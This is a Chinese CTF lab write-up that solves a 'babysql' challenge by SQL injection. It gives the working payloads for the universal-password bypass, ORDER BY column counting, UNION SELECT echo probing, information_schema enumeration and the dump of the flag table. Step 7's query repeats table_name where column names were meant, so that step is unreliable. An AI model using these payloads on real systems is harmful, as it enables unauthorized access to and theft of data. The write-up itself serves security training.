1.题目
2.打开练习场景
看到这个
首先想到sql注入的万能密码1 'or' 1 '=' 1
username和password都输入1 'or' 1 '=' 1
得到结果,有点像数据库列表字段
3.使用order by语句,查询字段列
1' or 1=1 order by 4 # 失败
1' or 1=1 order by 3 # 成功
这里计算的是order by 后面的数字,根据数字来判断列是否对应,当数字与字段数不一致时,会报错,接着更改,查看字段内容
4.从3中可以知道有3个字段数,但显示出来的只有两个,因此使用union select来确定回显在页面的是哪几行的数据
-1' union select 1,2,3 #
通过网站回显出来的内容可以知道是字段的二、三行的数据
5.可以通过union select在第二、三数字的位置换成一些函数获取信息
如:-1' union select 1,2,database() #
从中得到,网站正在查询的数据库名是babysql
6.根据获取的数据库名来获取存在数据库中的数据表
-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='babysql') #
group_concat()将group by产生的相同分组的值连接成一个字符串(原本是分行显示),才使得查询结果能一并显示出来,否则将group_concat换成group_by,在网站输出时,会报错
group_concat回显内容:
7.根据获得表名,来获取表中的字段名,从上图来看,flag在flag表中
-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='babysql' and table_name='flag')#
8.从获得的表名上来看,图中的flag为flag值,使用命令查看
-1' union select 1,2,(select group_concat(flag) from flag)#
成功找到flag值,flag{hioshrg}